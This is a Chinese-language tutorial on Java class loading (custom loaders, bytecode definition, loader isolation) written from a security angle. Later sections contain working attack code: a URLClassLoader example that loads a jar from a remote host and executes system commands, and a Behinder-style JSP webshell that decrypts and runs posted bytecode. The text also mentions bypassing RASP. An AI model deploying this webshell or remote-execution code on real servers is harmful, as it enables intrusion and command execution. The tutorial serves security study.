备注: 本系列 java 安全教程均参照 Java 安全
# java 类加载机制
Java 类加载机制是指 JVM 将.class 文件中的字节码读入内存,并将这些数据转换为 Java 类的过程。这个过程分为三个主要步骤:加载(Loading)、链接(Linking)和初始化(Initialization)。
# 类加载器:
- 启动类加载器(Bootstrap ClassLoader):这个类加载器是 JVM 自身的一部分,用来加载核心 Java 类库(通常是
rt.jar
)。 - 扩展类加载器(Extension ClassLoader):加载 Java 扩展库(位于
<JAVA_HOME>/lib/ext
目录下)。 - 系统类加载器(System/App ClassLoader):也称为应用程序类加载器,加载应用程序的类路径(classpath)上的类。
ClassLoader
类有如下核心方法:
loadClass
(加载指定的 Java 类)findClass
(查找指定的 Java 类)findLoadedClass
(查找 JVM 已经加载过的类)defineClass
(定义一个 Java 类)resolveClass
(链接指定的 Java 类)
自定义类加载器:
通过继承 ClassLoader
类创建自己的类加载器。可以从文件系统加载类的字节码数据,示例如下:
package org.example; | |
public class Main { | |
public static void main(String[] args) { | |
System.out.println("Hello world!"); | |
} | |
public String getHello() { | |
return "Hello"; | |
} | |
} |
package org.example; | |
import java.io.File; | |
import java.io.FileInputStream; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.util.Arrays; | |
public class CustomClassLoader extends ClassLoader { | |
private String rootDir; | |
public CustomClassLoader(String rootDir) { | |
this.rootDir = rootDir; | |
} | |
@Override | |
protected Class<?> findClass(String name) throws ClassNotFoundException { | |
// 4. 自定义类加载逻辑 | |
byte[] classData = loadClassData(name); | |
if (classData == null) { | |
throw new ClassNotFoundException(); | |
} else { | |
// 5. 去 JVM 注册该类 | |
return defineClass(name, classData, 0, classData.length); | |
} | |
} | |
private byte[] loadClassData(String className) { | |
// 将类名转换为路径名 | |
String fileName = rootDir + File.separatorChar + className.replace('.', File.separatorChar) + ".class"; | |
try (InputStream inputStream = new FileInputStream(fileName)) { | |
// 获取文件的长度 | |
long length = new File(fileName).length(); | |
byte[] classData = new byte[(int) length]; | |
// 读取文件内容到字节数组 | |
int bytesRead = inputStream.read(classData); | |
if (bytesRead != length) { | |
throw new IOException("Could not read the entire file: " + fileName); | |
} | |
System.out.println("classData: " + Arrays.toString(classData)); | |
return classData; | |
} catch (IOException e) { | |
e.printStackTrace(); | |
return null; | |
} | |
} | |
@Override | |
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { | |
synchronized (getClassLoadingLock(name)) { | |
// 1. 首先检查类是否已经被加载 | |
Class<?> c = findLoadedClass(name); | |
if (c == null) { | |
long t0 = System.nanoTime(); | |
try { | |
//2. 查看是否可以获取父加载器 | |
if (getParent() != null) { | |
c = getParent().loadClass(name); | |
} else { | |
c = ClassLoader.getSystemClassLoader().loadClass(name); | |
} | |
} catch (ClassNotFoundException e) { | |
// 如果类在父类加载器中没有找到 | |
} | |
if (c == null) { | |
// 3. 如果还是没有找到,则调用 findClass 来加载类 | |
long t1 = System.nanoTime(); | |
c = findClass(name); | |
// 记录性能统计数据 | |
// PerfCounter.getParentDelegationTime().addTime(t1 - t0); | |
// PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); | |
// PerfCounter.getFindClasses().increment(); | |
} | |
} | |
if (resolve) { | |
//6. 如果 resolve 那么解析类 | |
resolveClass(c); | |
} | |
System.out.println(c); | |
return c; | |
} | |
} | |
public static void main(String[] args) { | |
try { | |
String rootDir = "/Users/chenluo/Documents/web/java-security/src/main/java/"; // 指定类文件存放的目录 | |
CustomClassLoader loader = new CustomClassLoader(rootDir); | |
// 加载类 | |
Class<?> clazz = loader.loadClass("org.example.Main"); | |
System.out.println("Loaded by: " + clazz.getClassLoader()); | |
// 创建类的实例 | |
Object instance = clazz.getDeclaredConstructor().newInstance(); | |
System.out.println("Loaded class: " + instance.getClass().getName()); | |
// 反射获取 getHello 方法 | |
Method method = clazz.getMethod("getHello"); | |
// 反射调用 getHello 方法 | |
System.out.println(method.invoke(instance)); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
# Java 类动态加载方式
显式 (类动态加载):使用 java 反射或者 ClassLoader 来动态加载一个类对象
隐式:类名。方法名 () 或者 new
实例
常用的类动态加载方式:
// 反射加载 TestHelloWorld 示例 | |
Class.forName("com.anbai.sec.classloader.TestHelloWorld"); | |
// ClassLoader 加载 TestHelloWorld 示例 | |
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld"); |
Class.forName("类名")
默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用 Class.forName("类名", 是否初始化类, 类加载器)
,而 ClassLoader.loadClass
默认不会初始化类方法。
# ClassLoader 类加载流程
ClassLoader
加载 org.example.Main
类 loadClass
重要流程如下:
ClassLoader
会调用public Class<?> loadClass(String name)
方法加载org.example.Main
类。- 调用
findLoadedClass
方法检查Main
类是否已经初始化,如果 JVM 已初始化过该类则直接返回类对象。 - 如果创建当前
ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
)就使用父类加载器加载Main
类,否则使用 JVM 的Bootstrap ClassLoader
加载。 - 如果上一步无法加载
TestHelloWorld
类,那么调用自身的findClass
方法尝试加载Main
类。 - 如果当前的
ClassLoader
没有重写了findClass
方法,那么直接返回类加载失败异常。如果当前类重写了findClass
方法并通过传入的org.example.Main
类名找到了对应的类字节码,那么应该调用defineClass
方法去 JVM 中注册该类。 - 如果调用 loadClass 的时候传入的
resolve
参数为 true,那么还需要调用resolveClass
方法链接类(解析类),默认为 false。 - 返回一个被 JVM 加载后的
java.lang.Class
类对象。
注意:
第六步解析:
- 符号引用到直接引用的转换:
- 在 Java 字节码中,类、方法、字段等通过符号引用来表示。例如,一个方法调用在字节码中表示为方法名称和描述符的符号引用。
- 解析过程将这些符号引用转换为实际内存地址的直接引用。
- 确保类型安全:
- 解析确保所有引用的类、接口、方法和字段都存在且可访问,保证了 Java 程序的类型安全。
-
resolveClass
方法:resolveClass
方法是在类加载完成后用于链接类的。它完成链接的解析步骤,确保所有符号引用都被正确解析为直接引用。
# 自定义类加载器
上述自定义的类加载器有如下方法:
@Override | |
protected Class<?> findClass(String name) throws ClassNotFoundException { | |
// 4. 自定义类加载逻辑 | |
byte[] classData = loadClassData(name); | |
if (classData == null) { | |
throw new ClassNotFoundException(); | |
} else { | |
// 5. 去 JVM 注册该类 | |
return defineClass(name, classData, 0, classData.length); | |
} | |
} |
这里可以自定义类加载逻辑,如下:
package org.example; | |
import java.lang.reflect.Method; | |
public class CustomClassLoader2 extends ClassLoader{ | |
private String rootDir; | |
public CustomClassLoader2(String rootDir){ | |
this.rootDir = rootDir; | |
} | |
// 提前准备好的类字节码 | |
private byte[] classData = new byte[]{ | |
(byte)0xCA, (byte)0xFE, (byte)0xBA, (byte)0xBE, 0x00, 0x00, 0x00, 0x40, 0x00, 0x21, 0x0A, 0x00, 0x02, 0x00, 0x03, 0x07, | |
0x00, 0x04, 0x0C, 0x00, 0x05, 0x00, 0x06, 0x01, 0x00, 0x10, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, | |
0x61, 0x6E, 0x67, 0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x01, 0x00, 0x06, 0x3C, 0x69, 0x6E, | |
0x69, 0x74, 0x3E, 0x01, 0x00, 0x03, 0x28, 0x29, 0x56, 0x09, 0x00, 0x08, 0x00, 0x09, 0x07, 0x00, | |
0x0A, 0x0C, 0x00, 0x0B, 0x00, 0x0C, 0x01, 0x00, 0x10, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61, | |
0x6E, 0x67, 0x2F, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x01, 0x00, 0x03, 0x6F, 0x75, 0x74, 0x01, | |
0x00, 0x15, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x69, 0x6F, 0x2F, 0x50, 0x72, 0x69, 0x6E, 0x74, | |
0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x3B, 0x08, 0x00, 0x0E, 0x01, 0x00, 0x0C, 0x48, 0x65, 0x6C, | |
0x6C, 0x6F, 0x20, 0x77, 0x6F, 0x72, 0x6C, 0x64, 0x21, 0x0A, 0x00, 0x10, 0x00, 0x11, 0x07, 0x00, | |
0x12, 0x0C, 0x00, 0x13, 0x00, 0x14, 0x01, 0x00, 0x13, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x69, 0x6F, | |
0x2F, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x01, 0x00, 0x07, 0x70, | |
0x72, 0x69, 0x6E, 0x74, 0x6C, 0x6E, 0x01, 0x00, 0x15, 0x28, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, | |
0x6C, 0x61, 0x6E, 0x67, 0x2F, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x3B, 0x29, 0x56, 0x08, 0x00, | |
0x16, 0x01, 0x00, 0x05, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x07, 0x00, 0x18, 0x01, 0x00, 0x10, 0x6F, | |
0x72, 0x67, 0x2F, 0x65, 0x78, 0x61, 0x6D, 0x70, 0x6C, 0x65, 0x2F, 0x4D, 0x61, 0x69, 0x6E, 0x01, | |
0x00, 0x04, 0x43, 0x6F, 0x64, 0x65, 0x01, 0x00, 0x0F, 0x4C, 0x69, 0x6E, 0x65, 0x4E, 0x75, 0x6D, | |
0x62, 0x65, 0x72, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x01, 0x00, 0x04, 0x6D, 0x61, 0x69, 0x6E, 0x01, | |
0x00, 0x16, 0x28, 0x5B, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61, 0x6E, 0x67, 0x2F, 0x53, | |
0x74, 0x72, 0x69, 0x6E, 0x67, 0x3B, 0x29, 0x56, 0x01, 0x00, 0x08, 0x67, 0x65, 0x74, 0x48, 0x65, | |
0x6C, 0x6C, 0x6F, 0x01, 0x00, 0x14, 0x28, 0x29, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61, | |
0x6E, 0x67, 0x2F, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x3B, 0x01, 0x00, 0x0A, 0x53, 0x6F, 0x75, | |
0x72, 0x63, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x01, 0x00, 0x09, 0x4D, 0x61, 0x69, 0x6E, 0x2E, 0x6A, | |
0x61, 0x76, 0x61, 0x00, 0x21, 0x00, 0x17, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, | |
0x01, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x01, 0x00, | |
0x01, 0x00, 0x00, 0x00, 0x05, 0x2A, (byte)0xB7, 0x00, 0x01, (byte)0xB1, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1A, | |
0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x09, 0x00, 0x1B, 0x00, 0x1C, | |
0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x25, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, | |
(byte)0xB2, 0x00, 0x07, 0x12, 0x0D, (byte)0xB6, 0x00, 0x0F, (byte)0xB1, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1A, 0x00, | |
0x00, 0x00, 0x0A, 0x00, 0x02, 0x00, 0x00, 0x00, 0x05, 0x00, 0x08, 0x00, 0x06, 0x00, 0x01, 0x00, | |
0x1D, 0x00, 0x1E, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x1B, 0x00, 0x01, 0x00, 0x01, 0x00, | |
0x00, 0x00, 0x03, 0x12, 0x15, (byte)0xB0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1A, 0x00, 0x00, 0x00, 0x06, | |
0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x01, 0x00, 0x1F, 0x00, 0x00, 0x00, 0x02, 0x00, 0x20 | |
}; | |
@Override | |
protected Class<?> findClass(String name){ | |
return defineClass(name, classData, 0, classData.length); | |
} | |
public static void main(String[] args) { | |
try { | |
CustomClassLoader2 loader = new CustomClassLoader2("/Users/chenluo/Documents/web/java-security/src/main/java/org/example"); | |
// 直接调用 findClass 加载目标类,注意名称 | |
Class<?> clazz = loader.findClass("org.example.Main"); | |
System.out.println("Loaded class: " + clazz.getName()); | |
Object instance = clazz.getDeclaredConstructor().newInstance(); | |
System.out.println("Instance created: " + instance); | |
Method method = clazz.getMethod("getHello"); | |
String result = (String) method.invoke(instance); | |
System.out.println(result); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
使用自定义类加载器重写 findClass
方法,然后在调用 defineClass
方法的时候传入 Main
类的字节码的方式来向 JVM 中定义一个 Main
类,最后通过反射机制就可以调用 Main
类的 hello
方法了。
利用自定义类加载器我们可以在 webshell 中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的 native 方法绕过 RASP 检测,也可以用于加密重要的 Java 类字节码(只能算弱加密了)。
备注:
-
提前准备好 class 文件:
javac Main.java
-
使用 BytePrinter 打印类文件中的字节码数据:
package org.example;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class BytecodePrinter {
public static void main(String[] args) {
// if (args.length != 1) {
// System.out.println("Usage: java BytecodePrinter <class file path>");
// return;
// }
// 指定打印的类
String classFilePath = "/Users/chenluo/Documents/web/java-security/src/main/java/org/example/Main.class";
try {
byte[] classData = loadClassData(classFilePath);
if (classData != null) {
printBytecode(classData);
}
} catch (IOException e) {
e.printStackTrace();
}
}
private static byte[] loadClassData(String classFilePath) throws IOException {
File classFile = new File(classFilePath);
long length = classFile.length();
// 字节码数组
byte[] classData = new byte[(int) length];
try (FileInputStream inputStream = new FileInputStream(classFile)) {
// 读取成功返回字节码数组的长度
int bytesRead = inputStream.read(classData);
if (bytesRead != length) {
throw new IOException("Could not read the entire file: " + classFilePath);
}
}
return classData;
}
private static void printBytecode(byte[] classData) {
for (int i = 0; i < classData.length; i++) {
// 按照格式打印输出,方便备用
System.out.printf("0x%02X, ", classData[i]);
if ((i + 1) % 16 == 0) {
System.out.println();
}
}
System.out.println();
}
}
-
生成 Main.class 文件的 java 版本要和 CustomClassLoader2 的运行 java 版本一致。即:命令行的 java 版本,和 idea 的运行版本要一致不然报错
# URLClassLoader
URLClassLoader
继承了 ClassLoader
, URLClassLoader
提供了加载远程资源的能力,在写漏洞利用的 payload
或者 webshell
的时候我们可以使用这个特性来加载远程的 jar 来实现远程的类方法调用。
- 准备远程的 jar 包:
import java.io.IOException; | |
/** | |
* Creator: yz | |
* Date: 2019/12/18 | |
*/ | |
public class CMD { | |
public static Process exec(String cmd) throws IOException { | |
return Runtime.getRuntime().exec(cmd); | |
} | |
} |
将 java 文件打包成 jar 包:
# 步骤 1:编译 Java 文件
首先,你需要编译你的 Java 源文件(.java)生成字节码文件(.class)。假设你的 Java 源文件在 src/main/java/org/example
目录下,你可以使用以下命令进行编译:
javac -d out src/main/java/org/example/*.java |
这里, -d out
指定编译后的类文件输出到 out
目录。
# 步骤 2:创建 JAR 文件
编译完成后,你可以使用 jar
命令将生成的 .class
文件打包成一个 JAR 文件。
# 创建简单的 JAR 文件
如果你不需要在 JAR 文件中包含清单文件(manifest),可以使用以下命令:
jar cf example.jar -C out . |
这里:
c
表示创建一个新的 JAR 文件。f
表示指定 JAR 文件的名称。-C out .
表示从out
目录开始打包所有内容。
# 创建包含清单文件的 JAR 文件
如果你希望指定一个主类( Main-Class
),你可以创建一个 MANIFEST.MF
文件,然后打包:
-
创建
MANIFEST.MF
文件,例如:Main-Class: org.example.Main
-
使用以下命令创建 JAR 文件:
jar cmf MANIFEST.MF example.jar -C out .
这里:
m
表示指定一个清单文件。MANIFEST.MF
是清单文件的路径。
# 步骤 3:远程加载 jar 包中的类
利用 URLCLassLoader 远程加载 jar 包,加载内部类:
package org.example; | |
import java.io.ByteArrayOutputStream; | |
import java.io.InputStream; | |
import java.net.URL; | |
import java.net.URLClassLoader; | |
/** | |
* Creator: yz | |
* Date: 2019/12/18 | |
*/ | |
public class TestURLClassLoader { | |
public static void main(String[] args) { | |
try { | |
// 定义远程加载的 jar 路径 | |
URL url = new URL("http://echo-machile.oss-cn-beijing.aliyuncs.com/2024-05-22-cmd.jar"); | |
// 创建 URLClassLoader 对象,并加载远程 jar 包 | |
URLClassLoader ucl = new URLClassLoader(new URL[]{url}); | |
// 定义需要执行的系统命令 | |
String cmd = "ls -al"; | |
// 通过 URLClassLoader 加载远程 jar 包中的 CMD 类 | |
Class cmdClass = ucl.loadClass("org.example.cmd"); | |
// 调用 CMD 类中的 exec 方法,等价于: Process process = CMD.exec ("whoami"); | |
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd); | |
// 获取命令执行结果的输入流 | |
InputStream in = process.getInputStream(); | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
byte[] b = new byte[1024]; | |
int a = -1; | |
// 读取命令执行结果 | |
while ((a = in.read(b)) != -1) { | |
baos.write(b, 0, a); | |
} | |
// 输出命令执行结果 | |
System.out.println(baos.toString()); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
# 常用 Java 命令
-
编译 Java 文件:
javac -d out src/main/java/org/example/*.java
-
运行 Java 程序:
java -cp out org.example.Main
-
创建 JAR 文件:
jar cf example.jar -C out .
-
创建包含清单文件的 JAR 文件:
jar cmf MANIFEST.MF example.jar -C out .
-
查看 JAR 文件内容:
jar tf example.jar
-
运行 JAR 文件:
java -jar example.jar
# 类加载隔离
- 创建类加载器时可以指定父类加载器:
- 当创建一个自定义类加载器实例时,可以通过构造函数指定它的父类加载器。
- 例如,
new CustomClassLoader(parentClassLoader)
会将parentClassLoader
设定为CustomClassLoader
的父类加载器。
- 类加载器有隔离机制:
- Java 类加载器机制有一个重要特性:不同的类加载器实例可以加载同一个类名的类,但这些类在 JVM 中会被视为不同的类。
- 这种机制为应用提供了类隔离的能力,允许同一 JVM 中加载不同版本的类。
- 不同的类加载器可以加载相同名称的类(只要它们不是父子关系):
- 不同的类加载器(如果它们不是父子关系)可以加载同一类名的类。即使类名相同,只要加载它们的类加载器不同,这些类在 JVM 中也是不同的。
- 同级类加载器之间调用方法必须使用反射:
- 如果两个类加载器没有父子关系(即它们是同级的),一个类加载器加载的类不能直接调用另一个类加载器加载的类的方法。必须通过反射来调用。
# 跨类加载器加载
RASP 和 IAST 经常会用到跨类加载器加载类的情况,因为 RASP/IAST 会在任意可能存在安全风险的类中插入检测代码,因此必须得保证 RASP/IAST 的类能够被插入的类所使用的类加载正确加载,否则就会出现 ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则: ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射
。
示例(跨类加载器加载):
自定义加载器 A:
package org.example; | |
import java.io.File; | |
import java.io.FileInputStream; | |
import java.io.IOException; | |
import java.io.InputStream; | |
public class CustomClassLoaderA extends ClassLoader { | |
public CustomClassLoaderA(ClassLoader parent) { | |
super(parent); | |
} | |
@Override | |
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { | |
synchronized (getClassLoadingLock(name)) { | |
// 首先检查类是否已经被加载 | |
Class<?> c = findLoadedClass(name); | |
if (c == null) { | |
long t0 = System.nanoTime(); | |
// 仅在加载非核心 Java 类时跳过父类加载器 | |
if (name.startsWith("java.")) { | |
try { | |
c = getParent().loadClass(name); | |
} catch (ClassNotFoundException e) { | |
// 如果类在父类加载器中没有找到,忽略异常 | |
} | |
} | |
if (c == null) { | |
// 如果还是没有找到,则调用 findClass 来加载类 | |
long t1 = System.nanoTime(); | |
c = findClass(name); | |
// 记录性能统计数据 | |
// PerfCounter.getParentDelegationTime().addTime(t1 - t0); | |
// PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); | |
// PerfCounter.getFindClasses().increment(); | |
} | |
} | |
if (resolve) { | |
resolveClass(c); | |
} | |
System.out.println(c); | |
return c; | |
} | |
} | |
@Override | |
protected Class<?> findClass(String name) throws ClassNotFoundException { | |
if (name.startsWith("java.")) { | |
return super.findClass(name); | |
} | |
// 自定义类加载逻辑,假设从文件系统加载类字节码 | |
byte[] classData = loadClassData(name); | |
if (classData == null) { | |
throw new ClassNotFoundException(); | |
} | |
return defineClass(name, classData, 0, classData.length); | |
} | |
private byte[] loadClassData(String className) { | |
System.out.println("加载器: " + this.getClass().getName()); | |
System.out.println("加载类: " + className); | |
String fileName = className.replace('.', File.separatorChar) + ".class"; | |
String fullPath = "src/main/java/org/example/out" + File.separator + fileName; | |
System.out.println("尝试加载文件: " + fullPath); | |
try (InputStream inputStream = new FileInputStream(fullPath)) { | |
File file = new File(fullPath); | |
long length = file.length(); | |
System.out.println("Main.class File length: " + length); | |
byte[] classData = new byte[(int) length]; | |
int bytesRead = inputStream.read(classData); | |
System.out.println("Bytes read: " + bytesRead); | |
if (bytesRead != length) { | |
throw new IOException("Could not read the entire file: " + fullPath); | |
} | |
return classData; | |
} catch (IOException e) { | |
e.printStackTrace(); | |
return null; | |
} | |
} | |
} |
自定义加载器 B:
package org.example; | |
import java.io.File; | |
import java.io.FileInputStream; | |
import java.io.IOException; | |
import java.io.InputStream; | |
public class CustomClassLoaderB extends ClassLoader { | |
public CustomClassLoaderB(ClassLoader parent) { | |
super(parent); | |
} | |
@Override | |
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { | |
synchronized (getClassLoadingLock(name)) { | |
// 首先检查类是否已经被加载 | |
Class<?> c = findLoadedClass(name); | |
if (c == null) { | |
long t0 = System.nanoTime(); | |
// 这里防止调用父类加载器,先注释掉 | |
if (name.startsWith("java.")) { | |
try { | |
c = getParent().loadClass(name); | |
} catch (ClassNotFoundException e) { | |
// 如果类在父类加载器中没有找到,忽略异常 | |
} | |
} | |
if (c == null) { | |
// 如果还是没有找到,则调用 findClass 来加载类 | |
long t1 = System.nanoTime(); | |
c = findClass(name); | |
// 记录性能统计数据 | |
// PerfCounter.getParentDelegationTime().addTime(t1 - t0); | |
// PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); | |
// PerfCounter.getFindClasses().increment(); | |
} | |
} | |
if (resolve) { | |
resolveClass(c); | |
} | |
System.out.println(c); | |
return c; | |
} | |
} | |
@Override | |
protected Class<?> findClass(String name) throws ClassNotFoundException { | |
// 自定义类加载逻辑,假设从文件系统加载类字节码 | |
byte[] classData = loadClassData(name); | |
if (classData == null) { | |
throw new ClassNotFoundException(); | |
} | |
return defineClass(name, classData, 0, classData.length); | |
} | |
private byte[] loadClassData(String className) { | |
System.out.println("加载器: " + this.getClass().getName()); | |
System.out.println("加载类: " + className); | |
String fileName = className.replace('.', File.separatorChar) + ".class"; | |
String fullPath = "src/main/java/org/example/out" + File.separator + fileName; | |
System.out.println("尝试加载文件: " + fullPath); | |
try (InputStream inputStream = new FileInputStream(fullPath)) { | |
File file = new File(fullPath); | |
long length = file.length(); | |
System.out.println("File length: " + length); | |
byte[] classData = new byte[(int) length]; | |
int bytesRead = inputStream.read(classData); | |
System.out.println("Bytes read: " + bytesRead); | |
if (bytesRead != length) { | |
throw new IOException("Could not read the entire file: " + fullPath); | |
} | |
return classData; | |
} catch (IOException e) { | |
e.printStackTrace(); | |
return null; | |
} | |
} | |
} |
跨加载器加载以及调用
package org.example; | |
import java.io.File; | |
import java.lang.reflect.Method; | |
public class CustomClassLoaderExample { | |
public static void main(String[] args) throws Exception { | |
// 打印当前工作目录 | |
System.out.println("Current working directory: " + new File(".").getAbsolutePath()); | |
// 父类加载器 | |
ClassLoader parentClassLoader = CustomClassLoaderExample.class.getClassLoader(); | |
// 创建两个自定义类加载器 | |
CustomClassLoaderA loader1 = new CustomClassLoaderA(parentClassLoader); | |
CustomClassLoaderB loader2 = new CustomClassLoaderB(parentClassLoader); | |
// 加载类 | |
Class<?> class1 = Class.forName("org.example.Main",true,loader1); // 使用 loader1 加载类 | |
Class<?> class2 = Class.forName("org.example.Main",true,loader2); // 使用 loader2 加载类 | |
// 检查类是否相同 | |
System.out.println("Are classes equal? " + (class1 == class2)); // 应该输出 false | |
// 使用反射调用 loader2 加载的类的方法 | |
Object instance2 = class2.getDeclaredConstructor().newInstance(); | |
Method method = class2.getMethod("getHello"); | |
System.out.println(method.invoke(instance2)); | |
} | |
} |
执行结果:
Current working directory: /Users/chenluo/Documents/web/java-security/. | |
加载器: org.example.CustomClassLoaderA | |
加载类: org.example.Main | |
尝试加载文件: src/main/java/org/example/out/org/example/Main.class | |
File length: 512 | |
Bytes read: 512 | |
class java.lang.Object | |
class org.example.Main | |
加载类: org.example.Main | |
尝试加载文件: src/main/java/org/example/out/org/example/Main.class | |
加载 | |
File length: 512 | |
Bytes read: 512 | |
class java.lang.Object | |
class org.example.Main | |
Are classes equal? false | |
class java.lang.String | |
Hello |
注意:
在加载类的时候,会加载与这个类相关的所有类,如上所示的 class java.lang.Object
# JSP 自定义类加载后门
冰蝎(Behinder)是一种广泛使用的 WebShell 工具,它利用自定义类加载器和动态字节码生成技术,在服务器上执行恶意代码。以下是冰蝎 JSP 后门的工作原理的详细解释。
# 主要步骤
- 动态编译和加密:
- 冰蝎的客户端首先将待执行的命令或代码片段动态编译成 Java 类字节码。
- 为了避免被简单检测,这些字节码会被 AES 加密。
- 加密后的字节码通过 HTTP 请求发送到服务器上的 JSP 后门。
- 服务器端解密:
- 服务器端的 JSP 后门接收到加密的字节码。
- 通过 AES 解密,得到一个随机类名的 Java 类字节码。
- 自定义类加载器加载字节码:
- JSP 后门使用自定义类加载器加载解密后的字节码。
- 加载后的类会动态生成并加载到 JVM 中。
- 执行恶意代码:
- 加载的类包含重写的
equals
方法,冰蝎客户端通过调用这个equals
方法来执行恶意代码。 equals
方法会接受一个pageContext
对象参数,这样可以方便地获取 HTTP 请求和响应对象,执行各种 Web 操作。
- 加载的类包含重写的
- 类成员变量存储命令:
- 冰蝎的命令执行参数不会直接从 HTTP 请求中获取,而是通过动态生成的类成员变量进行存储。这样可以进一步避免被简单检测。
# JSP 后门代码
<%@ page import="java.util.*, java.io.*, java.lang.reflect.*, javax.crypto.Cipher, javax.crypto.spec.SecretKeySpec" %>
<%!
public class CustomClassLoader extends ClassLoader {
public Class<?> defineClass(byte[] b) {
return defineClass(null, b, 0, b.length);// 类名称,类字节码,偏移量,字节码长度
}
}
public byte[] decrypt(byte[] data, String key) throws Exception {
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, skeySpec);
return cipher.doFinal(data);
}
%>
<%
// 获取加密的字节码和密钥
byte[] encryptedClassBytes = (byte[]) request.getAttribute("data");
String key = "1234567890123456"; // 假设密钥是已知的
// 解密字节码
byte[] classBytes = decrypt(encryptedClassBytes, key);
// 使用自定义类加载器加载字节码
CustomClassLoader customClassLoader = new CustomClassLoader();
Class<?> maliciousClass = customClassLoader.defineClass(classBytes);
// 创建实例并调用equals方法
Object maliciousInstance = maliciousClass.getDeclaredConstructor().newInstance();
Method equalsMethod = maliciousClass.getMethod("equals", Object.class);
equalsMethod.invoke(maliciousInstance, pageContext);
%>
# 动态生成的类(客户端)
客户端生成的恶意类会包含类似下面的代码:
public class Malicious { | |
private String command = "whoami"; // 示例命令 | |
@Override | |
public boolean equals(Object obj) { | |
// 获取 pageContext 对象 | |
PageContext pageContext = (PageContext) obj; | |
HttpServletRequest request = (HttpServletRequest) pageContext.getRequest(); | |
HttpServletResponse response = (HttpServletResponse) pageContext.getResponse(); | |
// 执行命令并获取结果 | |
String result = executeCommand(command); | |
// 输出结果 | |
try { | |
response.getWriter().write(result); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
return true; | |
} | |
private String executeCommand(String command) { | |
StringBuilder output = new StringBuilder(); | |
try { | |
Process process = Runtime.getRuntime().exec(command); | |
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); | |
String line; | |
while ((line = reader.readLine()) != null) { | |
output.append(line).append("\n"); | |
} | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
return output.toString(); | |
} | |
} |
pageContext
对象是 JSP 中的一个隐含对象,代表当前页面的上下文。它提供了对其他隐含对象(如 request
、 response
、 session
、 application
)的访问,并包含一些方法来操作这些对象。
主要功能:
-
访问隐含对象:
-
可以通过
pageContext
访问request
、response
、session
和application
等隐含对象。 -
示例:
HttpServletRequest request = (HttpServletRequest) pageContext.getRequest();
HttpServletResponse response = (HttpServletResponse) pageContext.getResponse();
HttpSession session = pageContext.getSession();
ServletContext application = pageContext.getServletContext();
-
-
设置和获取属性:
-
可以在页面范围内设置和获取属性。
-
示例:
pageContext.setAttribute("attributeName", attributeValue);
Object value = pageContext.getAttribute("attributeName");
-
-
转发请求:
-
可以将请求转发到其他资源(如 JSP 或 Servlet)。
-
示例:
pageContext.forward("/otherPage.jsp");
-
# 详细步骤和安全建议
# 详细步骤
- 动态编译和加密:
- 客户端动态生成包含恶意代码的 Java 类,并编译成字节码。
- 使用 AES 加密字节码,防止传输过程中被检测到。
- 服务器端解密和加载:
- JSP 后门接收加密字节码并解密。
- 使用自定义类加载器将解密后的字节码定义为 Java 类。
- 执行恶意代码:
- 调用动态生成类的
equals
方法,传递pageContext
对象。 equals
方法中获取 HTTP 请求和响应对象,执行命令并将结果返回给客户端。
- 调用动态生成类的
# 安全建议
